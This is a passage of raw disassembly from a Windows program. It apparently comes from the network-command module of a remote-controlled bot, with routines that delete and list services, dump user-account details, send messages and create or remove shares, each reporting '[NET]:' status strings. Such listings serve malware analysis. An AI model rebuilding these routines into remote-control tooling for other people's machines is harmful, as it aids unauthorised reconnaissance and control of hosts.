--------------------------------------------------------------------------- loc_407884: ; CODE XREF: sub_40780A+4Dj push esi call dword_43A3B0 ; DeleteService loc_40788B: ; CODE XREF: sub_40780A+69j ; sub_40780A+78j test eax, eax jnz short loc_407897 call dword_422008 ; RtlGetLastWin32Error mov ebx, eax loc_407897: ; CODE XREF: sub_40780A+54j ; sub_40780A+59j ... push esi call dword_43A3EC ; CloseServiceHandle loc_40789E: ; CODE XREF: sub_40780A+45j push edi call dword_43A3EC ; CloseServiceHandle pop esi loc_4078A6: ; CODE XREF: sub_40780A+25j pop edi mov eax, ebx pop ebx leave retn sub_40780A endp ; =============== S U B R O U T I N E ======================================= sub_4078AC proc near ; CODE XREF: sub_4082EB:loc_408333p mov ecx, 420h cmp eax, ecx ja loc_40795D jz loc_407956 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_407920 jz short loc_407916 mov ecx, eax sub ecx, 3 jz short loc_40790C dec ecx dec ecx jz short loc_407902 dec ecx jz short loc_4078F8 sub ecx, 51h jz short loc_4078EE sub ecx, 24h jnz loc_4079D3 ; default ; jumptable 0040797A cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4079C5 ; --------------------------------------------------------------------------- loc_4078EE: ; CODE XREF: sub_4078AC+2Dj push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4079C5 ; --------------------------------------------------------------------------- loc_4078F8: ; CODE XREF: sub_4078AC+28j push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4079C5 ; --------------------------------------------------------------------------- loc_407902: ; CODE XREF: sub_4078AC+25j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4079C5 ; --------------------------------------------------------------------------- loc_40790C: ; CODE XREF: sub_4078AC+21j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4079C5 ; --------------------------------------------------------------------------- loc_407916: ; CODE XREF: sub_4078AC+1Aj push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4079C5 ; --------------------------------------------------------------------------- loc_407920: ; CODE XREF: sub_4078AC+18j mov ecx, eax sub ecx, 41Ch jz short loc_40794F dec ecx jz short loc_407948 dec ecx jz short loc_407941 dec ecx jnz loc_4079D3 ; default ; jumptable 0040797A cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4079C5 ; --------------------------------------------------------------------------- loc_407941: ; CODE XREF: sub_4078AC+82j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_407948: ; CODE XREF: sub_4078AC+7Fj push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_40794F: ; CODE XREF: sub_4078AC+7Cj push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_407956: ; CODE XREF: sub_4078AC+Dj push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_4078AC+7j mov ecx, 45Bh cmp eax, ecx ja short loc_4079D3 ; default ; jumptable 0040797A cases 1,5,6,8,9,12,13,15,16 jz short loc_4079C0 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_4079D3 ; default ; jumptable 0040797A cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_407A14[ecx] jmp off_4079EC[ecx*4] ; switch jump loc_407981: ; DATA XREF: .text:off_4079ECo push offset aTheSpecifiedDa ; jumptable 0040797A case 7 jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_407988: ; CODE XREF: sub_4078AC+CEj ; DATA XREF: .text:off_4079ECo push offset aTheServiceDepe ; jumptable 0040797A case 17 jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_40798F: ; CODE XREF: sub_4078AC+CEj ; DATA XREF: .text:off_4079ECo push offset aTheServiceDe_0 ; jumptable 0040797A case 10 jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_407996: ; CODE XREF: sub_4078AC+CEj ; DATA XREF: .text:off_4079ECo push offset aTheServiceHasB ; jumptable 0040797A case 0 jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_40799D: ; CODE XREF: sub_4078AC+CEj ; DATA XREF: .text:off_4079ECo push offset aTheSpecified_0 ; jumptable 0040797A case 2 jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_4079A4: ; CODE XREF: sub_4078AC+CEj ; DATA XREF: .text:off_4079ECo push offset aTheServiceCoul ; jumptable 0040797A case 11 jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_4079AB: ; CODE XREF: sub_4078AC+CEj ; DATA XREF: .text:off_4079ECo push offset aTheServiceHa_0 ; jumptable 0040797A case 14 jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_4079B2: ; CODE XREF: sub_4078AC+CEj ; DATA XREF: .text:off_4079ECo push offset aTheRequested_1 ; jumptable 0040797A case 3 jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_4079B9: ; CODE XREF: sub_4078AC+CEj ; DATA XREF: .text:off_4079ECo push offset aTheServiceHasN ; jumptable 0040797A case 4 jmp short loc_4079C5 ; --------------------------------------------------------------------------- loc_4079C0: ; CODE XREF: sub_4078AC+BAj push offset aTheSystemIsShu ; "The system is shutting down." loc_4079C5: ; CODE XREF: sub_4078AC+3Dj ; sub_4078AC+47j ... push offset dword_43A788 call sub_416975 pop ecx pop ecx jmp short loc_4079E6 ; --------------------------------------------------------------------------- loc_4079D3: ; CODE XREF: sub_4078AC+32j ; sub_4078AC+85j ... push eax ; default ; jumptable 0040797A cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_43A788 call sub_416975 add esp, 0Ch loc_4079E6: ; CODE XREF: sub_4078AC+125j mov eax, offset dword_43A788 retn sub_4078AC endp ; --------------------------------------------------------------------------- off_4079EC dd offset loc_407996 ; DATA XREF: sub_4078AC+CEr dd offset loc_40799D ; jump table for switch statement dd offset loc_4079B2 dd offset loc_4079B9 dd offset loc_407981 dd offset loc_40798F dd offset loc_4079A4 dd offset loc_4079AB dd offset loc_407988 dd offset loc_4079D3 byte_407A14 db 0, 9, 1, 2 ; DATA XREF: sub_4078AC+C7r db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A26 proc near ; CODE XREF: sub_409848+1F19p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43A480 ; OpenSCManagerA push ebx push [ebp+arg_8] mov [ebp+var_C], eax push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 14h loc_407A5E: ; CODE XREF: sub_407A26+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push 168h lea eax, [ebp+var_18C] push eax push 3 push 30h push [ebp+var_C] call dword_43A490 ; EnumServicesStatusA test eax, eax jnz short loc_407A98 call dword_422008 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_407B4F loc_407A98: ; CODE XREF: sub_407A26+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_407B46 lea esi, [ebp+var_188] loc_407AA9: ; CODE XREF: sub_407A26+11Aj mov eax, [esi+8] dec eax jz short loc_407AF5 dec eax jz short loc_407AEE dec eax jz short loc_407AE7 dec eax jz short loc_407AE0 dec eax jz short loc_407AD9 dec eax jz short loc_407AD2 dec eax lea eax, [ebp+var_20] jz short loc_407ACB push offset aUnknown_0 ; " Unknown" jmp short loc_407AFD ; --------------------------------------------------------------------------- loc_407ACB: ; CODE XREF: sub_407A26+9Cj push offset aPaused_0 ; " Paused" jmp short loc_407AFD ; --------------------------------------------------------------------------- loc_407AD2: ; CODE XREF: sub_407A26+96j push offset aPausing ; " Pausing" jmp short loc_407AFA ; --------------------------------------------------------------------------- loc_407AD9: ; CODE XREF: sub_407A26+93j push offset aContinuing ; " Continuing" jmp short loc_407AFA ; --------------------------------------------------------------------------- loc_407AE0: ; CODE XREF: sub_407A26+90j push offset aRunning ; " Running" jmp short loc_407AFA ; --------------------------------------------------------------------------- loc_407AE7: ; CODE XREF: sub_407A26+8Dj push offset aStoping ; " Stoping" jmp short loc_407AFA ; --------------------------------------------------------------------------- loc_407AEE: ; CODE XREF: sub_407A26+8Aj push offset aStarting ; " Starting" jmp short loc_407AFA ; --------------------------------------------------------------------------- loc_407AF5: ; CODE XREF: sub_407A26+87j push offset aStopped ; " Stopped" loc_407AFA: ; CODE XREF: sub_407A26+B1j ; sub_407A26+B8j ... lea eax, [ebp+var_20] loc_407AFD: ; CODE XREF: sub_407A26+A3j ; sub_407A26+AAj push eax call sub_416975 pop ecx pop ecx push dword ptr [esi] lea eax, [ebp+var_20] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_0 ; "%s: %s (%s)" push eax call sub_416975 push 1 push [ebp+arg_8] lea eax, [ebp+var_38C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_405D62 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_407AA9 loc_407B46: ; CODE XREF: sub_407A26+77j cmp [ebp+var_8], ebx jnz loc_407A5E loc_407B4F: ; CODE XREF: sub_407A26+6Cj push [ebp+var_C] call dword_43A3EC ; CloseServiceHandle xor eax, eax cmp eax, [ebp+var_4] pop edi sbb eax, eax pop esi neg eax pop ebx leave retn sub_407A26 endp ; =============== S U B R O U T I N E ======================================= sub_407B66 proc near ; CODE XREF: sub_407C28+Ap ; sub_407C28+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_407B73 pop ebp retn ; --------------------------------------------------------------------------- loc_407B73: ; CODE XREF: sub_407B66+9j push ebx push esi mov esi, dword_4220D4 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_4179EC pop ecx push edi mov ebx, eax push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi pop esi mov eax, ebx pop ebx pop ebp retn sub_407B66 endp ; =============== S U B R O U T I N E ======================================= sub_407BA7 proc near ; CODE XREF: sub_411329+248p arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_20 = dword ptr 24h mov eax, offset loc_421F2D call sub_417E50 push esi xor esi, esi cmp [esp+4+arg_10], esi jnz short loc_407BBE xor eax, eax jmp short loc_407C1A ; --------------------------------------------------------------------------- loc_407BBE: ; CODE XREF: sub_407BA7+11j push ebx push ebp push edi mov edi, dword_4220D8 push esi push esi push esi push esi push 0FFFFFFFFh push [esp+24h+arg_10] mov ebx, 400h push ebx push esi call edi ; WideCharToMultiByte test byte ptr dword_43A7E8, 1 mov ebp, eax jnz short loc_407BFF or dword_43A7E8, 1 lea eax, [ebp+1] push eax mov [esp+4+arg_14], esi call sub_4179EC pop ecx mov dword_43A7E4, eax loc_407BFF: ; CODE XREF: sub_407BA7+3Cj push esi push esi push ebp push dword_43A7E4 push 0FFFFFFFFh push [esp+14h+arg_20] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_43A7E4 pop edi pop ebp pop ebx loc_407C1A: ; CODE XREF: sub_407BA7+15j mov ecx, [esp+4] pop esi mov large fs:0, ecx leave retn sub_407BA7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C28 proc near ; CODE XREF: sub_408363+6Cp ; sub_411650+18Fp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push edi push [ebp+arg_0] call sub_407B66 push [ebp+arg_4] mov edi, eax call sub_407B66 push 24h push [ebp+arg_4] mov [ebp+var_24], eax call sub_417E80 push [ebp+arg_8] neg eax sbb eax, eax and [ebp+var_1C], 0 or [ebp+var_14], 0FFFFFFFFh and [ebp+var_10], 0 and eax, 80000000h mov [ebp+var_20], eax mov [ebp+var_18], 7Fh call sub_407B66 and [ebp+var_8], 0 add esp, 14h mov [ebp+var_C], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push 2 push edi call dword_43A3A4 pop edi leave retn sub_407C28 endp ; =============== S U B R O U T I N E ======================================= sub_407C93 proc near ; CODE XREF: sub_408363+20p ; sub_411329+1BDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_407B66 push [esp+8+arg_4] mov esi, eax call sub_407B66 pop ecx pop ecx push 0 push eax push esi call dword_43A3C0 pop esi retn sub_407C93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CB6 proc near ; CODE XREF: sub_408540+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_407B66 push [ebp+arg_4] mov edi, eax call sub_407B66 push [ebp+arg_8] mov [ebp+var_24], eax call sub_407B66 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 add esp, 0Ch lea ecx, [ebp+var_4] push ecx mov [ebp+var_20], eax xor eax, eax lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43A388 pop edi leave retn sub_407CB6 endp ; =============== S U B R O U T I N E ======================================= sub_407D10 proc near ; CODE XREF: sub_408540+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_407B66 push [esp+8+arg_4] mov esi, eax call sub_407B66 pop ecx pop ecx push eax push esi call dword_43A48C pop esi retn sub_407D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D31 proc near ; CODE XREF: sub_408540+2Dp var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 208h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_407B66 push [ebp+arg_4] mov esi, eax call sub_407B66 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43A3A8 test eax, eax mov [ebp+var_8], eax jnz loc_4080BE mov eax, [ebp+var_4] test eax, eax jz loc_4080F9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_208] push offset aAccountS ; "Account: %S" push eax call sub_416975 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_208] push offset aFullNameS ; "Full Name: %S" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_208] push offset aUserCommentS ; "User Comment: %S" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_208] push offset aCommentS ; "Comment: %S" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] mov eax, [eax+10h] add esp, 40h sub eax, 0 jz short loc_407E4A dec eax jz short loc_407E43 dec eax jz short loc_407E3C mov eax, offset aUnknown ; "Unknown" jmp short loc_407E4F ; --------------------------------------------------------------------------- loc_407E3C: ; CODE XREF: sub_407D31+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_407E4F ; --------------------------------------------------------------------------- loc_407E43: ; CODE XREF: sub_407D31+FFj mov eax, offset aUser_1 ; "User" jmp short loc_407E4F ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407D31+FCj mov eax, offset aGuest ; "Guest" loc_407E4F: ; CODE XREF: sub_407D31+109j ; sub_407D31+110j ... push eax lea eax, [ebp+var_208] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_208] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_208] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_208] push offset aParametersS ; "Parameters: %S" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_208] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_208] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_208] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_208] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_208] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_208] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_208] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_208] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_208] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_208] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_208] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_416975 push 1 push esi lea eax, [ebp+var_208] push eax push edi push ebx call sub_405D62 add esp, 20h pop edi pop ebx jmp short loc_4080EA ; --------------------------------------------------------------------------- loc_4080BE: ; CODE XREF: sub_407D31+35j push eax lea eax, [ebp+var_208] push offset aNetUserInfoErr ; "[NET]: User info error: <%ld>" push eax call sub_416975 push 0 push [ebp+arg_10] lea eax, [ebp+var_208] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_405D62 add esp, 20h loc_4080EA: ; CODE XREF: sub_407D31+38Bj cmp [ebp+var_4], 0 jz short loc_4080F9 push [ebp+var_4] call dword_43A3F8 loc_4080F9: ; CODE XREF: sub_407D31+40j ; sub_407D31+3BDj mov eax, [ebp+var_8] pop esi leave retn sub_407D31 endp ; =============== S U B R O U T I N E ======================================= sub_4080FF proc near ; CODE XREF: sub_40822F+9Ep ; sub_408363:loc_4083A3p ... mov ecx, 858h cmp eax, ecx ja loc_4081AD jz loc_4081A6 cmp eax, 7Bh ja short loc_408172 jz short loc_408168 cmp eax, 5 jz short loc_40815E cmp eax, 8 jz short loc_408154 cmp eax, 32h jz short loc_40814A cmp eax, 35h jz short loc_408140 cmp eax, 57h jnz loc_4081FC push offset aInvalidParamet ; "Invalid parameter." jmp loc_40821D ; --------------------------------------------------------------------------- loc_408140: ; CODE XREF: sub_4080FF+2Cj push offset aServerNameNotF ; "Server name not found." jmp loc_40821D ; --------------------------------------------------------------------------- loc_40814A: ; CODE XREF: sub_4080FF+27j push offset aThisNetworkReq ; "This network request is not supported." jmp loc_40821D ; --------------------------------------------------------------------------- loc_408154: ; CODE XREF: sub_4080FF+22j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_40821D ; --------------------------------------------------------------------------- loc_40815E: ; CODE XREF: sub_4080FF+1Dj push offset aAccessDenied_ ; "Access denied." jmp loc_40821D ; --------------------------------------------------------------------------- loc_408168: ; CODE XREF: sub_4080FF+18j push offset aTheNameIsInval ; "The name is invalid." jmp loc_40821D ; --------------------------------------------------------------------------- loc_408172: ; CODE XREF: sub_4080FF+16j sub eax, 7Ch jz short loc_40819F sub eax, 7C8h jz short loc_408198 dec eax jz short loc_40818E dec eax jnz short loc_4081FC push offset aDuplicateShare ; "Duplicate share name." jmp loc_40821D ; --------------------------------------------------------------------------- loc_40818E: ; CODE XREF: sub_4080FF+80j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_40821D ; --------------------------------------------------------------------------- loc_408198: ; CODE XREF: sub_4080FF+7Dj push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_40821D ; --------------------------------------------------------------------------- loc_40819F: ; CODE XREF: sub_4080FF+76j push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_40821D ; --------------------------------------------------------------------------- loc_4081A6: ; CODE XREF: sub_4080FF+Dj push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_40821D ; --------------------------------------------------------------------------- loc_4081AD: ; CODE XREF: sub_4080FF+7j mov ecx, 8C5h cmp eax, ecx ja short loc_4081E6 jz short loc_4081DF sub eax, 8ADh jz short loc_408211 dec eax dec eax jz short loc_4081D8 dec eax jz short loc_4081D1 dec eax dec eax jnz short loc_4081FC push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_40821D ; --------------------------------------------------------------------------- loc_4081D1: ; CODE XREF: sub_4080FF+C5j push offset aTheUserAccount ; "The user account already exists." jmp short loc_40821D ; --------------------------------------------------------------------------- loc_4081D8: ; CODE XREF: sub_4080FF+C2j push offset aTheGroupAlread ; "The group already exists." jmp short loc_40821D ; --------------------------------------------------------------------------- loc_4081DF: ; CODE XREF: sub_4080FF+B7j push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_40821D ; --------------------------------------------------------------------------- loc_4081E6: ; CODE XREF: sub_4080FF+B5j sub eax, 8CAh jz short loc_408218 sub eax, 17h jz short loc_408211 sub eax, 25h jz short loc_40820A sub eax, 29h jz short loc_408203 loc_4081FC: ; CODE XREF: sub_4080FF+31j ; sub_4080FF+83j ... push offset aAnUnknownError ; "An unknown error occurred." jmp short loc_40821D ; --------------------------------------------------------------------------- loc_408203: ; CODE XREF: sub_4080FF+FBj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_40821D ; --------------------------------------------------------------------------- loc_40820A: ; CODE XREF: sub_4080FF+F6j push offset aShareNotFound_ ; "Share not found." jmp short loc_40821D ; --------------------------------------------------------------------------- loc_408211: ; CODE XREF: sub_4080FF+BEj ; sub_4080FF+F1j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_40821D ; --------------------------------------------------------------------------- loc_408218: ; CODE XREF: sub_4080FF+ECj push offset aNetworkConnect ; "Network connection not found." loc_40821D: ; CODE XREF: sub_4080FF+3Cj ; sub_4080FF+46j ... push offset dword_43A7F0 call sub_416975 pop ecx pop ecx mov eax, offset dword_43A7F0 retn sub_4080FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40822F proc near ; CODE XREF: sub_409848+20E5p var_71C = byte ptr -71Ch var_31C = byte ptr -31Ch var_10C = byte ptr -10Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 71Ch push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_71C] push eax call sub_41804A add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_10C] mov esi, 108h push eax mov [ebp+var_4], esi call dword_4220DC ; GetComputerNameA push esi lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_31C] push eax call sub_41804A lea eax, [ebp+var_71C] push eax call sub_417F3E add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_71C] push eax push 0 lea eax, [ebp+var_31C] push eax push 0 call dword_43A3D0 test eax, eax jnz short loc_4082BF push offset aNetMessageSent ; "[NET]: Message sent successfully." mov esi, offset dword_43A850 push esi call sub_416975 pop ecx pop ecx jmp short loc_4082E6 ; --------------------------------------------------------------------------- loc_4082BF: ; CODE XREF: sub_40822F+7Aj lea ecx, [ebp+var_71C] push ecx lea ecx, [ebp+var_31C] push ecx call sub_4080FF push eax push offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>" mov esi, offset dword_43A850 push esi call sub_416975 add esp, 14h loc_4082E6: ; CODE XREF: sub_40822F+8Ej mov eax, esi pop esi leave retn sub_40822F endp ; =============== S U B R O U T I N E ======================================= sub_4082EB proc near ; CODE XREF: sub_409848:loc_40B736p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_408341 push 0 lea esi, [eax+eax*2] push 0 shl esi, 2 push dword_42ED10[esi] push edi push eax call sub_40780A add esp, 14h test eax, eax jnz short loc_408333 push edi push off_42ED0C[esi] push offset aNetSServiceS_ ; "[NET]: %s service: '%s'." loc_408323: ; CODE XREF: sub_4082EB+54j mov esi, offset dword_43AA50 push esi call sub_416975 add esp, 10h jmp short loc_40835E ; --------------------------------------------------------------------------- loc_408333: ; CODE XREF: sub_4082EB+2Aj call sub_4078AC push eax push edi push offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s" jmp short loc_408323 ; --------------------------------------------------------------------------- loc_408341: ; CODE XREF: sub_4082EB+Cj lea eax, [eax+eax*2] push off_42ED08[eax*4] mov esi, offset dword_43AA50 push offset aNetSNoServiceS ; "[NET]: %s: No service specified." push esi call sub_416975 add esp, 0Ch loc_40835E: ; CODE XREF: sub_4082EB+46j pop edi mov eax, esi pop esi retn sub_4082EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408363 proc near ; CODE XREF: sub_409848:loc_40B81Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4083FB mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40838C dec eax jnz short loc_4083DB push edi push 0 call sub_407C93 pop ecx pop ecx jmp short loc_4083D7 ; --------------------------------------------------------------------------- loc_40838C: ; CODE XREF: sub_408363+18j cmp [ebp+arg_8], 0 jnz short loc_4083C9 push 24h push edi call sub_417E80 test eax, eax pop ecx pop ecx jnz short loc_4083C9 push 57h pop eax loc_4083A3: ; CODE XREF: sub_408363+76j call sub_4080FF push eax push edi lea eax, [esi+esi*2] push off_42ED08[eax*4] mov esi, offset dword_43AC50 push offset aNetSErrorWithS ; "[NET]: %s: Error with share: '%s'. %s" push esi call sub_416975 add esp, 14h jmp short loc_40841B ; --------------------------------------------------------------------------- loc_4083C9: ; CODE XREF: sub_408363+2Dj ; sub_408363+3Bj push [ebp+arg_8] push edi push 0 call sub_407C28 add esp, 0Ch loc_4083D7: ; CODE XREF: sub_408363+27j test eax, eax jnz short loc_4083A3 loc_4083DB: ; CODE XREF: sub_408363+1Bj push edi lea eax, [esi+esi*2] push off_42ED0C[eax*4] mov esi, offset dword_43AC50 push offset aNetSShareS_ ; "[NET]: %s share: '%s'." push esi call sub_416975 add esp, 10h jmp short loc_40841B ; --------------------------------------------------------------------------- loc_4083FB: ; CODE XREF: sub_408363+Aj mov eax, [ebp+arg_0] lea eax, [eax+eax*2] push off_42ED08[eax*4] mov esi, offset dword_43AC50 push offset aNetSNoShareSpe ; 